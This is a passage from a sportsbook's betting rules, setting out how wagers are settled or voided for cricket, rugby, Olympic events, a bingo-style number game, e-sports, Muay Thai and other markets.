3.18.6. Most Wickets markets refer to the player taking the most wickets in a match or specific innings. Both players must bowl at least one ball for bets to be valid. If “No Result” is declared as the official match result, all bets on this market will be void, except for markets that have been unconditionally determined.

3.18.7. Most Sixes markets refer to the team scoring the most sixes in a match or specific innings. Bets will be valid if an official result is declared. If “No Result” is declared as the official match result, all bets on this market will be void, except for markets that have been unconditionally determined.

3.18.8. Next Man Out markets refer to the player dismissed first in a match or specific innings. If one player retires, bets will be void. If neither player is dismissed, all bets will be void. All bets on decided markets will be valid, even if “No Result” is declared as the official match result.

3.18.9. Total Runs markets refer to the total number of runs scored by a player or team in a match or specific innings. A player must be at the batting crease for at least one ball for bets to be valid. If “No Result” is declared as the official match result, all bets on this market will be void, except for markets that have been unconditionally determined.

3.19. Rugby Union

3.19.1. All Full-Time markets, including Live betting, will be settled based on the final result at the end of normal time (80 minutes). Extra time is not counted for full-time markets. Rugby Sevens markets will be settled at the end of normal time (usually 14 or 20 minutes). Extra time is not counted for full-time Rugby Sevens markets.

3.19.2. If a match is postponed, suspended, or abandoned and not resumed within twelve hours of the scheduled start time, all bets are void, except for those on markets that have been unconditionally determined. Bets will also be valid if an official result is declared by the relevant governing body.

3.19.3. First Half markets refer to the result of the first half only. All bets will be void if the specified half is not completed.

3.19.4. Rugby Union Live Betting is settled based on the match result at the end of normal time.

3.19.5. The score will be updated for Rugby Union live betting, and markets shown during live trading refer to the score displayed at the time the bet is placed.

3.19.6. For live betting, during a game, the Company reserves the right to suspend acceptance of bets and may accept or reject bets after a “Danger Play” that the Company deems as dangerous and may affect the score, outcome, or performance of a team or player, or warrant changing the odds/prices or Markets or Betting Information. All other actions in a game are deemed Safe Play, and bets will continue to be considered for acceptance.

3.20. Rugby League

3.20.1. All Full-Time markets, including Live betting, will be settled based on the final result at the end of the match, including any extra time played.

3.20.2. If a match is postponed, suspended, or abandoned and not resumed within twelve hours of the scheduled start time, all bets are void, except for those on markets that have been unconditionally determined. Bets will also be valid if an official result is declared by the relevant governing body.

3.20.3. First Half markets refer to the result of the first half only. All bets will be void if the specified half is not completed.

3.20.4. Rugby League Live Betting is settled based on the match result, including any extra time played.

3.20.5. The score will be updated for Rugby League live betting, and markets shown during live trading refer to the score displayed at the time the bet is placed.

3.20.6. For live betting, during a game, the Company reserves the right to suspend acceptance of bets and may accept or reject bets after a “Danger Play” that the Company deems as dangerous and may affect the score, outcome, or performance of a team or player, or warrant changing the odds/prices or Markets or Betting Information. All other actions in a game are deemed Safe Play, and bets will continue to be considered for acceptance.

3.21. Athletics

3.21.1. Outright (to win Gold Medal) markets refer to the winner of each athletics event.

3.21.2. Moneyline markets refer to the competitor with the best placing in an event or specified heat. If only one athlete reaches the final of an event, bets on that competitor are winning bets. If both athletes fail to reach the final, the competitor with the better classification during qualifying is declared the winner.

3.21.3. Podium Positions will be the official result for which all bets are settled. Any subsequent disqualifications or amendments to the result will not be considered for betting purposes.

3.21.4. If an event is postponed, suspended, or abandoned and not resumed within twelve hours of the scheduled start time, all bets are void.

3.21.5. If an athlete fails to start an event, all bets will be void. An athlete is deemed to have started an event if they have taken part to the extent necessary to record an official result or classification (including DSQ but excluding DNS).

3.22. Swimming

3.22.1. Outright (to win Gold Medal) markets refer to the winner of each swimming event.

3.22.2. Moneyline markets refer to the competitor with the best placing in an event or specified heat. If only one swimmer reaches the final of an event, bets on that competitor are winning bets. If both swimmers fail to reach the final, the competitor with the better classification during qualifying is declared the winner.

3.22.3. Podium Positions will be the official result for which all bets are settled. Any subsequent disqualifications or amendments to the result will not be considered for betting purposes.

3.22.4. If an event is postponed, suspended, or abandoned and not resumed within twelve hours of the scheduled start time, all bets are void.

3.22.5. If a swimmer fails to start an event, all bets will be void.

3.23. Beach Soccer

3.23.1. All bets will be settled after the result of the full three periods of play (twelve minutes each), unless otherwise stated in writing by the Company.

3.23.2. If a game begins before the scheduled time, any non-live bets placed after the early start but before the scheduled start will be considered void. Live bets placed during live betting are considered valid, and live betting is deemed to have commenced when the event has started, even if earlier than the scheduled time.

3.23.3. Extra time and penalty shoot-outs do not count for betting and settlement purposes, unless otherwise stated.

3.23.4. If a match is suspended, abandoned, or terminated, then the entire match will be considered void. Matches will be declared void irrespective of any official decision to honor the result. The settlement of all bets on voided matches is at the sole discretion of the Company.

3.23.5. The Company provides venue information (e.g., neutral ground) as helpful information only and accepts no liability whatsoever if the stated neutral venues are correct or not. It is the customer’s responsibility to be aware of the correct venue for any match.

3.23.6. For live betting, during a game, the Company reserves the right to suspend acceptance of bets and may accept or reject bets after a “Danger Play” that the Company deems as dangerous and may affect the score, outcome, or performance of a team or player, or warrant changing the odds/prices or Markets or Betting Information. All other actions in a game are deemed Safe Play, and bets will continue to be considered for acceptance.

3.23.7. For live betting, all pending bets will be automatically rejected as of the moment the referee ends the match at the end of each period and/or full time.

3.23.8. Beach Soccer Bet Types

3.23.8.1. The Company offers the following Bet Types:

3.23.8.1.1. Non-Live Betting

3.23.8.1.1.1. Asian Handicap – means betting on which team will make the most number of goals based on the final score inclusive of any handicaps.

3.23.8.1.1.2. Odd/Even – means betting that is determined by whether the total number of goals at the end of the full three periods of play (twelve minutes each) is Odd or Even.

3.23.8.1.1.3. Over/Under – means betting on the total number of goals that will be scored in the normal full three periods of play (twelve minutes each) excluding extra time.

3.23.8.1.2. In Running (“Live”) Betting

3.23.8.1.2.1. Asian Handicap – means betting on which team will make the most number of goals based on the final score inclusive of any handicaps.

3.23.8.1.2.2. Over/Under refers to betting on the total number of goals that will be scored in the normal full three periods of play (twelve minutes each) excluding extra time.

3.23.8.2. For a more comprehensive list of bet types, please refer to Section 2.2 mentioned above.

3.24. Squash

3.24.1. Moneyline markets determine the winner of the match or specified game. Handicap markets are based on either games or points (as indicated in the market title). Over/Under and Odd/Even markets are based on points unless stated otherwise.

3.24.2. If a player does not start a tournament or match, all bets on that player will be void.

3.24.3. If a player (or pairing) retires or is disqualified during a match, all bets will be void, except for markets that have been unconditionally determined.

3.24.4. If a match is postponed or suspended and resumes within twelve hours, all bets are valid.

3.24.5. First Game Winner (Second, Third Game Winner, etc.) refers to the result of the specified game. If the specified game is not completed, all bets will be void.

3.24.6. Squash Live Betting is settled based on the result of the match or specified game. The score will not be updated for squash live betting.

3.25. Horse Racing Specials

3.25.1. Horse Racing specials are offered on certain big races, such as the Melbourne Cup.

3.25.2. Outright

3.25.2.1. Outright betting is on the winner of a horse race. The result of a race becomes official when the “all clear,” “weighed in,” or “correct weight” is declared and the “official result” is declared by the racetrack. Subsequent disqualifications or amendments to the results will not be considered for betting purposes.

3.25.2.2. Outright place betting is on horses that fill the designated places in a race. The number of places paid as winners will be indicated in the market title.

3.25.2.3. Scratchings/Non-runners – If a horse is withdrawn from a race before or after coming under starter’s orders, the horse is considered a non-runner/scratched, and the wagered money will be refunded.

3.25.2.4. In the event of a “Dead Heat” in any outright market, half the stake is applied to the selection at full odds, and the other half of the stake is lost. If more than two horses “Dead Heat,” the stakes are proportioned accordingly.

3.25.3. Head to Head

3.25.3.1. Head to Head betting is on one horse to be placed higher or finish better than another in a race. If one or both horses are scratched/non-runners, all bets will be void. If the two horses Dead Heat, all bets will be void.

3.26. Winter Olympic Games Rules & Regulations

3.26.1. General

3.26.1.1. All markets will be settled based on the official result declared by the International Olympic Committee (IOC).

3.26.1.2. The original medal ceremony will be the official result for settling bets. Any subsequent disqualifications or amendments to the result will not be considered for betting purposes.

3.26.1.3. If a match or event is completed within the official period of the Olympic Games, irrespective of the actual start time, all bets will be valid. If a match or event is not completed and no official result is given, all bets will be void and refunded.

3.26.1.4. Bets accepted after an event has started (excluding live betting) in error will be void and refunded.

3.26.1.5. If a team or competitor does not start an event, all bets placed on that selection will be void and refunded. In a Money Line (head to head) market, if a named team or competitor does not start an event, all bets on that market will be void and refunded.

3.26.1.6. In the event of a Dead Heat in outright (to win Gold Medal) markets, half the stake is applied to the selection at full odds, and the other half of the stake is lost. In Money Line (head to head) markets, a Dead Heat will result in a tie, and bets on both competitors will be refunded.

3.26.2. Olympic Medals

3.26.2.1. Markets are offered on the number of medals won by individuals or countries at the Olympic Games.

3.26.2.2. These markets can refer to Gold Medals only or Total Medals (Gold, Silver, and Bronze medals combined).

3.26.2.3. All markets will be settled based on the official medal tables released by the IOC immediately after the end of the Olympic Games. Any subsequent changes to the medal table will not be considered for betting purposes.

3.26.3. Moneyline (Head to Head)

3.26.3.1. Which competitor or team will win a match or be placed higher in an event?

3.26.3.1.1. The final placing is determined by the competitor who progresses furthest in the event. If both competitors are eliminated at the same stage, the competitor with the higher official ranking is declared the winner. If both competitors are eliminated at the same stage without an official ranking, bets will be void.

3.26.4. Ice Hockey

3.26.4.1. Olympic Ice Hockey follows the normal Ice Hockey rules (as stated in 3.5.) above.

3.26.4.2. Exception to rule 3.5.3 – All bets are valid if the match is completed within the official period of the Olympic Games, regardless of the actual start time. Bets are also valid if an official result is declared by the IOC. If a match is not completed and no official result is given, all bets will be void and refunded.

3.26.4.3. Additional markets may be offered (e.g., Overtime included or Shootout Winner), and the terms of these markets will be clearly stated in the title. Note: Overtime is not played during preliminary round group matches, so ties are possible.

3.27. Netball

3.27.1. All Full-Time markets, including Live betting, are settled based on the final result, including overtime, unless stated otherwise.

3.27.2. If a match does not start on the scheduled date, all bets will be void unless stated otherwise. If a match is suspended or abandoned, all placed bets will be void, except for markets that have been unconditionally determined.

3.27.3. First-Half results are the sum of the First and Second Quarters. Second-Half results are the sum of the Third and Fourth Quarters, including any Overtime played. Fourth Quarter results do not include any Overtime played.

3.27.4. If a match is suspended or abandoned, bets placed on unfinished Halves or Quarters will be void. If the designated Halves or Quarters are completed, bets will be valid.

3.27.5. The score will not be updated for netball live betting, and the handicap shown during live trading refers to the score at the start of the match (0-0). The displayed times and scores are for reference purposes only.

3.28. Number Game Betting Rules and Regulations

3.28.1. Basic concept 3.28.1.1. This game involves betting on the numbers drawn from a bingo machine. 3.28.1.2. The Company provides real-time odds on the random draw of balls, and bets can be placed based on these odds in various bet types explained below.

3.28.2. Bet Types 3.28.2.1. Two types of betting are generally available for the Number Game. (A) Pre-Games – Bets can be placed before the game starts, but once the game starts, no bets are allowed. (B) Running games – Bets can be placed after the game starts, and different odds are given for each ball drawn.

3.28.3. Bet Types

3.28.3.1. The pregame bet types are as follows:

(A) Over/Under, First ball drawn or last ball drawn

(B) Odd/Even, First ball or last ball drawn

(C) Odd/Even (FT) (sum of three balls drawn)

(D) Warrior, comparing Second ball drawn or Third ball drawn

The “last ball drawn” refers to the last of a pre-arranged number of bingo balls drawn. If the last ball is not drawn, all bets on the last ball will be void, and the bets will be refunded. Payouts are made only on complete games, where the last ball is drawn without encountering any errors. If errors are encountered, the game may be voided, and the bets will be refunded.

3.28.3.2. Over/Under, First ball drawn or last ball drawn

The Company offers odds on whether the 1st ball or last ball drawn will be “over” or “under.”

Over 1st/last – Ball numbers 38 to 75 are considered Over balls.

Under 1st/last – Ball numbers 1 to 37 are considered Under balls.

Example: If ball number 30 is drawn as the last ball during the game, the “Under” bet wins.

3.28.3.3. Odd/Even, First ball or last ball drawn

The Company offers odds on whether the 1st ball or last ball drawn will be “odd” or “even.”

Odd – Odd-numbered bingo balls are considered Odd balls.

Even – Even-numbered bingo balls are considered Even balls.

Example: If ball number 30 is drawn as the first ball during the game, the “Even” bet wins.

3.28.3.4. Odd/Even FT (sum of three balls drawn)

The Company offers odds on whether the sum of three balls drawn will be an odd or even number.

Odd (FT) – The sum of three balls drawn is an odd number.

Even (FT) – The sum of three balls drawn is an even number.

Example: If the balls numbered 07, 13, and 20 are drawn, and the sum of their numbers is 40, which is an even number, the “Even (FT)” bet wins.

3.28.3.5. Warrior, comparing Second ball drawn or Third ball drawn

3.28.3.5.1. This game requires three balls to be drawn. It starts by drawing the 1st ball, and the winner is determined by comparing the 2nd ball drawn and the 3rd ball drawn, with the ball with the highest number considered the winner.

3.28.3.5.2. Number 1 will be the lowest number and number 75 will be the highest number.

3.28.3.5.3. The Company will offer odds for this bet type before the 1st ball is drawn. The player may place bets at any time but before the 1st ball is drawn. Example: If the 2nd ball drawn is number 45 and the 3rd ball drawn is number 60, then the player that bets on the 3rd ball will win the game.

3.28.4. Running Game

3.28.4.1. There are six (6) available bet types for the running game: A. Next Odd/Even B. Next Over/Under C. Next High/Low D. Warrior E. Next Combo F. Number Wheel

3.28.4.2. Next Odd/Even

3.28.4.2.1. After each ball is drawn, the Company will offer odds on whether the next ball drawn will be an “odd” or “even” number. The player may place bets at any time after the game starts. The game ends when a certain number of balls have been drawn, at the discretion of the Company.

3.28.4.3. Next Over/Under

3.28.4.3.1. After each ball is drawn, the Company will offer odds on whether the next ball drawn will be “Over” or “Under.” The player may place bets at any time after the game starts. Ball numbers 1 to 37 are considered “Under.” Ball numbers 38 to 75 are considered “Over.” The game ends when a certain number of balls have been drawn, at the discretion of the Company.

3.28.4.4. Next High/Low

3.28.4.4.1. After each ball is drawn, the Company will offer odds on whether the next ball drawn will have a higher or lower number. The player may place bets at any time after the game starts. The game ends when a certain number of balls have been drawn, at the discretion of the Company.

3.28.5. Warrior, comparing the Second ball drawn or Third ball drawn

3.28.5.1. This game requires three balls to be drawn. It starts by drawing after the 1st ball and is played by comparing the 2nd ball drawn and the 3rd ball drawn.

3.28.5.1.1. Number 1 will be the lowest number and number 75 will be the highest number.

3.28.5.1.2. The Company will offer odds for this bet type before the 1st ball is drawn. The player may place bets at any time but before the 1st ball is drawn. Example: If the 2nd ball drawn is number 45 and the 3rd ball drawn is number 60, then the player that bets on the 3rd ball will win the game.

3.28.6. Next Combo

3.28.6.1. After each ball is drawn, the Company will offer odds on whether the next ball drawn will be Over/Odd, Under/Odd, Over/Even, or Under/Even. The player may place bets at any time after the game starts. The game ends when a certain number of balls have been drawn, at the discretion of the Company.

Example 1: Ball number 30 was drawn, therefore the “Next Under/Even” bet wins.

Example 2: Ball number 47 was drawn, therefore the “Next Over/Odd” bet wins.

3.28.7. Number Wheel

3.28.7.1. This game involves betting on a single number or a group of numbers. The Company will provide odds before the first ball is drawn, and players can place bets anytime after the game starts.

3.28.7.2. Players can bet on multiple single numbers and groups of numbers.

3.28.7.3. The offered odds for each single number can be seen beside each ball number.

3.28.7.4. Players can bet on different groups of numbers:

3.28.7.4.1. Five (5)-numbers bet type: This allows betting on a group of 5 numbers arranged horizontally in a row. The groups are labeled as Group 1-1 (numbers 1-5), Group 1-2 (numbers 6-10), Group 1-3 (numbers 11-15), and so on up to Group 1-15 (numbers 71-75).

3.28.7.4.2. Fifteen (15)-numbers bet type: This allows betting on a group of 15 numbers either in a row or a column based on the layout.

  • 15-numbers bet type in a row: Group 2-1 (numbers 1-15), Group 2-2 (numbers 16-30), and so on up to Group 2-5 (numbers 61-75).
  • 15-numbers bet type in a column: Group 4-1 (numbers 1, 6, 11, 16, 21, 26, 31, 36, 41, 46, 51, 56, 61, 66, 71), Group 4-2 (numbers 2, 7, 12, 17, 22, 27, 32, 37, 42, 47, 52, 57, 62, 67, 72), and so on up to Group 4-5 (numbers 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75).

3.28.7.4.3. Twenty-five (25)-numbers bet type: This allows betting on a group of 25 numbers. The groups are labeled as Group 3-1 (numbers 1-25), Group 3-2 (numbers 26-50), and Group 3-3 (numbers 51-75).

3.28.8. Additional Rules

3.28.8.1. The balls drawn from the bingo machine are read by an automated scanner, and the Company’s decision based on the scanner is considered final in case of any discrepancy.

3.28.8.2. Running games will be settled after each ball is drawn.

3.28.8.3. The Company reserves the right to change, cancel, suspend, modify, or restart any game at its discretion.

3.28.9. Betting Timer

3.28.9.1. The betting timer shows the time within which a player can place bets. The duration of the betting timer is determined by the Company, and any bets placed before the timer ends will be accepted.

3.28.9.2. The accuracy of the betting timer is subject to disruptions and technical issues, and the Company has the final decision to accept or reject bets placed using the timer.

3.28.10. Scorecard Feature

3.28.10.1. The number game scorecard is a feature available in live streaming and replaces the game results feature.

3.28.10.2. The scorecard shows the results for each ball drawn and for each bet type. It is intended to be used as a reference for players to determine possible results of the next draw based on previous draws.

3.29. Olympic Games

3.29.1. General

3.29.1.1. All markets will be settled based on the official result declared by the International Olympic Committee (IOC).

3.29.1.2. The original medal ceremony result will be used for settling bets, and subsequent disqualifications or amendments will not be considered.

3.29.1.3. Bets will be considered valid if the match or event is completed within the official period of the Olympic Games, regardless of the actual start time. If a match or event is not completed and no official result is given, all bets will be void and refunded.

3.29.1.4. Bets accepted after an event has started (except for live betting) in error will be considered void and refunded.

3.29.1.5. If a team or competitor does not start an event, bets placed on them will be considered void and refunded.

3.29.1.6. In case of a Dead Heat (tie) in outright markets, half the stake is applied to the selection at full odds, while the other half is lost. In Money Line markets, a Dead Heat will result in a tie and bets on both competitors will be refunded.

3.29.2. Olympic Medals

3.29.2.1. Markets will be offered on the number of medals won by individuals or countries at the 2012 Olympic Games.

3.29.2.2. Markets may refer to Gold Medals only or Total Medals (Gold, Silver, and Bronze combined).

3.29.2.3. Settlement will be based on the official medal tables released by the IOC after the Olympic Games, and subsequent changes will not be considered.

3.29.3. Moneyline (Head to Head)

3.29.3.1. This market involves betting on which competitor or team will win a match or be placed higher in an event.

3.29.3.2. The final placing is determined by the competitor who progresses furthest. If both competitors are eliminated at the same stage, the one with the higher official ranking is declared the winner. If neither competitor is given an official ranking, bets will be void.

3.30. Politics

3.30.1. US Presidential Election

3.30.1.1. This market involves betting on which Political Party will win the 2012 US Presidential Election. Bets will be void and refunded if neither the Republicans nor Democrats win the election.

3.31. Sailing

3.31.1. America’s Cup (including Louis Vuitton Cup)

3.31.1.1. All markets will be settled based on the official result declared by the official website after each race. Subsequent disqualifications or result amendments will not be considered for betting purposes.

3.31.1.2. If a race is postponed or abandoned, bets will be considered valid if the race is resumed within 48 hours.

3.32. Cycling

3.32.1. All markets will be settled based on the official result declared by the official website after each race. Any subsequent disqualifications or amendments to the results will not be considered for betting purposes.

3.32.2. If a race is postponed or abandoned, then all bets are considered valid if the race is resumed within the 24-hour expiration.

3.32.3. In Head to Head markets, both racers must start the race for bets to be valid. The racer with the better finishing position will be declared the winner. If both racers fail to finish, then bets will be declared void and refunded.

3.33. Sepak Takraw

3.33.1. Moneyline markets refer to the winner of the match or specified set. Handicap markets are based on either sets or points (please refer to the market title). Over/Under and Odd/Even markets are based on points (unless otherwise stated).

3.33.2. If a team retires or is disqualified during a match, then all bets will be void, except for those on markets that have been unconditionally determined.

3.33.3. If a match is postponed or suspended, then all bets are still considered valid if the match resumes before the twelve-hour expiration.

3.33.4. First Set Winner (Second, Third Set Winner, etc.) refers to the result of the specified set. All bets will be considered void if the specified set is not completed.

3.33.5. The score will not be updated for Sepak Takraw live betting.

3.35. E-Sports

3.35.1. Moneyline refers to the team or individual competitor that defeats another or places higher in a match-up. Match Winner markets refer to the number of maps.

3.35.2. Live Markets refer to the time after the official start time of the match but before the time players have spawned into the map. All live bets taken during a drafting stage are considered valid. In-Play markets refer to the time after a draft has taken place, and the players have spawned into a map.

3.35.3. Tournament winner refers to the winning team or individual competitor in the finals of an e-sports tournament.

3.35.4. All markets will be settled based on the official results declared by the relevant e-sports association or organizing body as posted on its official website. Any subsequent disqualifications or changes to the results will not be considered for betting purposes.

3.35.5. If a match-up is postponed, all bets are still considered valid if the match-up is resumed within 12 hours from the original schedule.

3.35.6. If a match-up has started, and an official result is declared, all bets are considered valid, regardless of player unavailability, player disconnections, or power interruptions. If a match-up does not start or starts but is not completed, and an official result is not declared, then all bets will be void, except for those on markets that have been unconditionally determined.

3.35.7. For Live Betting, if a match-up was restarted, but the players keep the same draft (restart), then all in-play bets are refunded, and all live bets during the draft are valid. If a match is restarted, and the whole game is replayed, including a new draft (remake), then all live and in-play bets will be void, except for those on markets that have been unconditionally determined.

3.35.8. If the number of rounds/maps is changed from the number stated in the market title, then handicap and over/under bets will be considered void, while moneyline bets will still be considered valid.

3.35.9. First Blood/First to reach 5, 10, 15, or 20 number of kills markets refer to the team which kills the specified number first. Only kills by the opposition team/player count.

3.35.10. First Tower/Turret/Barracks markets refer to the team which takes the tower/turret/Barracks first. Bets are valid even if it is destroyed by a creep or was denied.

3.35.11. Duration markets refer to the total number of minutes played indicated on the scoreboard at the end of the match. For Dota 2, time before the first creep wave does not count towards the total.

3.35.12. First Roshan/Baron/Dragon markets refer to the team which kills the most powerful neutral creep first.

3.35.13. Kills markets (Moneyline, Handicap, Over/Under & Odd/Even) refer to the number of kills made by a team or individual competitor by the time that the game has officially ended. If a team surrenders before the end of a match, then all kills that take place after the surrender call count towards this market. NB: Kills from towers and team creeps count towards the official total as shown on the scoreboard. Deaths from denies, suicides, and neutral creeps do not count towards the official total.

3.35.14. Round Winner Markets refer to the official winner of the round or group of rounds. This applies to games where the map is divided into separate rounds only.

3.35.15. Player Kills markets refer to the total number of kills by a specific player for a specific Match, map, or round.

3.35.16. Counter-Strike Moneyline, Handicap, Over/Under & Odd/Even markets refer to the number of rounds won and will be settled on the final result, including overtime (unless otherwise stated).

3.36. Muay Thai

3.36.1. The Red or Blue color of fighters is strictly for reference purposes only. All bets will be considered valid regardless of the color change of the fighters.

3.36.2. Handicap markets refer to the winner of the fight. All bets on Handicap markets will be void if the fight is declared a draw.

3.36.3. Over/Under markets refer to the number of rounds that have been completed in the fight. Therefore, if a fight ends in round 5, then the number of completed rounds is four. If the fight is decided by the judges, then the number of completed rounds is five.

3.36.4. If one or both fighters are disqualified by the judges, then all bets will be declared void.

3.36.5. If a fight is postponed and not started within twelve hours of the scheduled start time, then all bets are considered void.

3.36.6. A fight is deemed to have started when the bell is sounded for the beginning of the first round. If one or both fighters fail to start the fight, then all bets will be void.

3.36.7. All bets will be settled on the official decision given in the ring immediately after the fight. Subsequent changes to the result are not recognized for betting purposes.

3.37. Entertainment

3.37.1. Sing! China – Which team/player will advance furthest in the show. Two teams/players will be paired for betting selection, teams/players belonging to different groups may also be paired for betting selection.

If the two teams/players paired for betting selection qualify for the next stage, then all bets for both teams/players will be carried over to the succeeding stage.

Bets will be considered as a draw if the two teams/players are eliminated at the same stage.